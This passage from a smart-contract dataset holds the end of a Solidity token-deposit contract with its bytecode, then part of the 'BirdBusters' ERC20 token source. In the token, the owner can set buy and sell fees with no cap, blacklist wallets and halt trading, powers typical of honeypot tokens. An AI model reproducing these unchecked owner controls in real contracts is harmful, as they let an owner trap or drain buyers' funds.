// Deposit limit for this whole contract
uint256 public whole_balance_limit;
/*
* Structs
*/
struct WithdrawPlan {
uint256 amount;
uint256 withdraw_block; // earliest block at which withdraw is allowed
}
/*
* Events
*/
event BalanceReduced(address indexed owner, uint newBalance);
event WithdrawPlanned(address indexed withdrawer, uint plannedBalance);
/*
* Modifiers
*/
modifier canTransfer() {
require(msg.sender == msc_address || msg.sender == one_to_n_address, "unknown caller");
_;
}
/*
* Constructor
*/
/// @notice Set the default values for the smart contract
/// @param _token_address The address of the token to use for rewards
constructor(address _token_address, uint256 _whole_balance_limit)
public
{
// check token contract
require(_token_address != address(0x0), "token at address zero");
require(contractExists(_token_address), "token has no code");
token = Token(_token_address);
require(token.totalSupply() > 0, "token has no total supply"); // Check if the contract is indeed a token contract
// check and set the whole balance limit
require(_whole_balance_limit > 0, "whole balance limit is zero");
whole_balance_limit = _whole_balance_limit;
}
/// @notice Specify trusted contracts. This has to be done outside of the
/// constructor to avoid cyclic dependencies.
/// @param _msc_address Address of the MonitoringService contract
/// @param _one_to_n_address Address of the OneToN contract
function init(address _msc_address, address _one_to_n_address)
external
{
// prevent changes of trusted contracts after initialization
require(msc_address == address(0x0) && one_to_n_address == address(0x0), "already initialized");
// check monitoring service contract
require(_msc_address != address(0x0), "MS contract at address zero");
require(contractExists(_msc_address), "MS contract has no code");
msc_address = _msc_address;
// check one to n contract
require(_one_to_n_address != address(0x0), "OneToN at address zero");
require(contractExists(_one_to_n_address), "OneToN has no code");
one_to_n_address = _one_to_n_address;
}
/// @notice Deposit tokens. The amount of transferred tokens will be
/// `new_total_deposit - total_deposit[beneficiary]`. This makes the
/// function behavior predictable and idempotent. Can be called several
/// times and on behalf of other accounts.
/// @param beneficiary The account benefiting from the deposit
/// @param new_total_deposit The total sum of tokens that have been
/// deposited by the user by calling this function.
function deposit(address beneficiary, uint256 new_total_deposit)
external
{
require(new_total_deposit > total_deposit[beneficiary], "deposit not increasing");
// Calculate the actual amount of tokens that will be transferred
uint256 added_deposit = new_total_deposit - total_deposit[beneficiary];
balances[beneficiary] += added_deposit;
total_deposit[beneficiary] += added_deposit;
// Update whole_balance, but take care against overflows.
require(whole_balance + added_deposit >= whole_balance, "overflowing deposit");
whole_balance += added_deposit;
// Decline deposit if the whole balance is bigger than the limit.
require(whole_balance <= whole_balance_limit, "too much deposit");
// Actual transfer.
require(token.transferFrom(msg.sender, address(this), added_deposit), "tokens didn't transfer");
}
/// @notice Internally transfer deposits between two addresses.
/// Sender and receiver must be different or the transaction will fail.
/// @param sender Account from which the amount will be deducted
/// @param receiver Account to which the amount will be credited
/// @param amount Amount of tokens to be transferred
/// @return success true if transfer has been done successfully, otherwise false
function transfer(
address sender,
address receiver,
uint256 amount
)
canTransfer()
external
returns (bool success)
{
require(sender != receiver, "sender == receiver");
if (balances[sender] >= amount && amount > 0) {
balances[sender] -= amount;
balances[receiver] += amount;
emit BalanceReduced(sender, balances[sender]);
return true;
} else {
return false;
}
}
/// @notice Announce intention to withdraw tokens.
/// Sets the planned withdraw amount and resets the withdraw_block.
/// There is only one planned withdrawal at a time, the old one gets overwritten.
/// @param amount Maximum amount of tokens to be withdrawn
function planWithdraw(uint256 amount)
external
{
require(amount > 0, "withdrawing zero");
require(balances[msg.sender] >= amount, "withdrawing too much");
withdraw_plans[msg.sender] = WithdrawPlan({
amount: amount,
withdraw_block: block.number + withdraw_delay
});
emit WithdrawPlanned(msg.sender, balances[msg.sender] - amount);
}
/// @notice Execute a planned withdrawal
/// Will only work after the withdraw_delay has expired.
/// An amount lower or equal to the planned amount may be withdrawn.
/// Removes the withdraw plan even if not the full amount has been
/// withdrawn.
/// @param amount Amount of tokens to be withdrawn
function withdraw(uint256 amount)
external
{
WithdrawPlan storage withdraw_plan = withdraw_plans[msg.sender];
require(amount <= withdraw_plan.amount, "withdrawing more than planned");
require(withdraw_plan.withdraw_block <= block.number, "withdrawing too early");
uint256 withdrawable = min(amount, balances[msg.sender]);
balances[msg.sender] -= withdrawable;
// Update whole_balance, but take care against underflows.
require(whole_balance - withdrawable <= whole_balance, "underflow in whole_balance");
whole_balance -= withdrawable;
emit BalanceReduced(msg.sender, balances[msg.sender]);
delete withdraw_plans[msg.sender];
require(token.transfer(msg.sender, withdrawable), "tokens didn't transfer");
}
/// @notice The owner's balance with planned withdrawals deducted
/// @param owner Address for which the balance should be returned
/// @return remaining_balance The remaining balance after planned withdrawals
function effectiveBalance(address owner)
external
view
returns (uint256 remaining_balance)
{
WithdrawPlan storage withdraw_plan = withdraw_plans[owner];
if (withdraw_plan.amount > balances[owner]) {
return 0;
}
return balances[owner] - withdraw_plan.amount;
}
function min(uint256 a, uint256 b) pure internal returns (uint256)
{
return a > b ? b : a;
}
}
// MIT License
// Copyright (c) 2018
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE. | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638fd066e011610097578063d635f2ee11610066578063d635f2ee14610470578063d7a2729a146104c8578063f09a4016146104e6578063fc0c546a1461054a57610100565b80638fd066e014610338578063b0a05a2e14610356578063beabacc8146103a0578063d54b10e31461042657610100565b80632e1a7d4d116100d35780632e1a7d4d146102015780633e90af501461022f57806347e7ef241461028e5780637709bc78146102dc57610100565b8063145ccb0f1461010557806316a398f71461013357806325fc2ccf1461018b57806327e235e3146101a9575b600080fd5b6101316004803603602081101561011b57600080fd5b8101908080359060200190929190505050610594565b005b6101756004803603602081101561014957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107bf565b6040518082815260200191505060405180910390f35b6101936108a7565b6040518082815260200191505060405180910390f35b6101eb600480360360208110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ac565b6040518082815260200191505060405180910390f35b61022d6004803603602081101561021757600080fd5b81019080803590602001909291905050506108c4565b005b6102716004803603602081101561024557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5a565b604051808381526020018281526020019250505060405180910390f35b6102da600480360360408110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d7e565b005b61031e600480360360208110156102f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111a6565b604051808215151515815260200191505060405180910390f35b6103406111b9565b6040518082815260200191505060405180910390f35b61035e6111bf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61040c600480360360608110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e5565b604051808215151515815260200191505060405180910390f35b61042e611534565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104b26004803603602081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061155a565b6040518082815260200191505060405180910390f35b6104d0611572565b6040518082815260200191505060405180910390f35b610548600480360360408110156104fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611578565b005b610552611958565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000811161060a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f7769746864726177696e67207a65726f0000000000000000000000000000000081525060200191505060405180910390fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f7769746864726177696e6720746f6f206d75636800000000000000000000000081525060200191505060405180910390fd5b604051806040016040528082815260200160644301815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101559050503373ffffffffffffffffffffffffffffffffffffffff167f1d6ecaf99b9d2150d4774c1ea17e3a04631acbfe71d58d2e9c7abbbc4561e03982600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036040518082815260200191505060405180910390a250565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000015411156108585760009150506108a2565b8060000154600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039150505b919050565b606481565b60046020528060005260406000206000915090505481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000154821115610981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f7769746864726177696e67206d6f7265207468616e20706c616e6e656400000081525060200191505060405180910390fd5b43816001015411156109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f7769746864726177696e6720746f6f206561726c79000000000000000000000081525060200191505060405180910390fd5b6000610a4683600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197d565b905080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060065481600654031115610b11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f756e646572666c6f7720696e2077686f6c655f62616c616e636500000000000081525060200191505060405180910390fd5b806006600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167f2e9bf8d4a8402929da26de77a79494626b184ddae2e3e0c076d6dfa10cd2a1d9600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a2600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905550506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ca857600080fd5b505af1158015610cbc573d6000803e3d6000fd5b505050506040513d6020811015610cd257600080fd5b8101908080519060200190929190505050610d55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f746f6b656e73206469646e2774207472616e736665720000000000000000000081525060200191505060405180910390fd5b505050565b60056020528060005260406000206000915090508060000154908060010154905082565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111610e32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6465706f736974206e6f7420696e6372656173696e670000000000000000000081525060200191505060405180910390fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548203905080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060065481600654011015610f8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f6f766572666c6f77696e67206465706f7369740000000000000000000000000081525060200191505060405180910390fd5b806006600082825401925050819055506007546006541115611018576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f746f6f206d756368206465706f7369740000000000000000000000000000000081525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156110f457600080fd5b505af1158015611108573d6000803e3d6000fd5b505050506040513d602081101561111e57600080fd5b81019080805190602001909291905050506111a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f746f6b656e73206469646e2774207472616e736665720000000000000000000081525060200191505060405180910390fd5b505050565b600080823b905060008111915050919050565b60065481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112905750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611302576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f756e6b6e6f776e2063616c6c657200000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156113a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f73656e646572203d3d207265636569766572000000000000000000000000000081525060200191505060405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156113f35750600082115b156115285781600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff167f2e9bf8d4a8402929da26de77a79494626b184ddae2e3e0c076d6dfa10cd2a1d9600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a26001905061152d565b600090505b9392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60036020528060005260406000206000915090505481565b60075481565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116245750600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611696576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f616c726561647920696e697469616c697a65640000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4d5320636f6e74726163742061742061646472657373207a65726f000000000081525060200191505060405180910390fd5b611742826111a6565b6117b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4d5320636f6e747261637420686173206e6f20636f646500000000000000000081525060200191505060405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611898576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f6e65546f4e2061742061646472657373207a65726f0000000000000000000081525060200191505060405180910390fd5b6118a1816111a6565b611913576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e65546f4e20686173206e6f20636f6465000000000000000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081831161198c578261198e565b815b90509291505056fea2646970667358221220b589019dfbf3799c398af0144d12abed6059a9db899f7d5d2232823f5cc3f1a564736f6c63430006040033 | {"success": true, "error": null, "results": {}} | 1,982 |
0x422CccC96E3F08EbbF6D0aDfd44DCB4203Ea9940 | /**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BirdBusters is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bird Busters";
string private constant _symbol = "BBUST";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x27a04D817dd1c39417441A15a667f85133ACBa7e);
address payable private _marketingAddress = payable(0x27a04D817dd1c39417441A15a667f85133ACBa7e);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000000 * 10**9;
uint256 public _maxWalletSize = 4000000000 * 10**9;
uint256 public _swapTokensAtAmount = 3000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
